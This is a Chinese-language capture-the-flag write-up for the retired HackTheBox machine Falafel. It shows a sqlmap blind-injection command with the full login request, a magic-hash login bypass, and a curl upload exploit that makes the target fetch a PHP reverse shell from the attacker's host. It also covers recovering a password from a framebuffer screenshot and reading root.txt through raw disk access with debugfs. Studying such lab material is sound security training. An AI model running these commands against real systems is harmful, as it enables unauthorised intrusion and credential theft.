HTB-靶机-Falafel
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.73
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.73 -o ./Falafel-autorecon
就开了22和80端口,访问web应用
点击了下页面的功能发现个登录界面,试了几个弱口令都不正确,但是发现尝试用户admin的时候显示如下:
尝试非admin用户显示如下:
猜测这里可能存在布尔型盲注,通过测试确认存在,下面给出最终sqlmap跑的命令
sqlmap进行布尔型盲注 sqlmap -r login.req --level 5 --risk 3 --string "Wrong identification" -D falafel -T users -C username,password --dump --batch login.req内容 POST /login.php HTTP/1.1 Host: 10.10.10.73 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://10.10.10.73/login.php Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=admin&password=bmfx
sqlmap倒是自动跑出来了用户chris的密码,但是admin的密码并没有成功的跑出来,试了下chris的密码成功登录,但是没啥用处,我们还是得找出admin用户的密码
用户admin的hash值0e462096931906507119562988736854 经过谷歌搜索和测试,发现带0e开头的hash是一种关于magic-hashes,详细链接参考:https://www.whitehatsec.com/blog/magic-hashes/
所以根据上述就知道了admin账户的密码为240610708 使用此密码登录进去之后发现一个上传页面,上传非图片格式会出现下面的形式
经过测试只能使用长文件名称上传,且需要实现在本地kali上生成好此类文件,写入php的反弹shell代码,文件格式需要类似于....php.png之类的后缀才可以,具体操作如下:
事先准备好的反弹代码名称
使用python搭建好本地简易web应用
URL=$(python -c 'print "http://10.10.14.5:8000/" + "A"*232 + ".php.png"'); curl -i -s -k -X $'POST' -H $'Referer: http://10.10.10.73/upload.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840' --data-binary "url=$URL" $'http://10.10.10.73/upload.php' | grep -e "The name is too long" -e shorten -e "New name" -e CMD
执行上面的curl命令即可成功写入反弹shell,然后本地监听端口,访问反弹shell代码即可
成功拿到shell之后在网站根目录翻看了下发现了数据库连接配置文件,找了如下信息:
使用上面的账户和密码切换至用户moshe试试
到了这里执行命令w发现存在用户yossi是在登录的状态查看当前组信息,并列出所有组信息
for x in $(groups); do echo ========${x}========; find / -group ${x} ! -type d -exec ls -la {} \; 2>/dev/null > ${x}; done
找到了一张带密码的截图,具体如下
将文件screenshot.raw复制到本地kali,然后使用gimp打开调试一下即可发现账户和密码的截图(类型选择RGB565 Big Endian)
得到了另一个用户和密码信息:yossi:MoshePlzStopHackingMe! 通过ssh远程登录
总结一下,这里主要就是发现用户yossi是一直在登录的状态,然后通过设备信息,获取截图内容,找到了用户的密码
此处仍然使用同样的方法通过读取磁盘设备信息获取root.txt,所以可通过下面两种方式获取
cat /dev/sda5 | strings -a | grep "root.txt" | grep -e "[0-9a-f]\{32\}" echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt yossi@falafel:/dev/shm/.d$ debugfs /dev/sda1 debugfs 1.42.13 (17-May-2015) debugfs: ls /root debugfs: cat /root/root.txt 23b79200448c62ffd6f8f20xxxxxxx debugfs: quit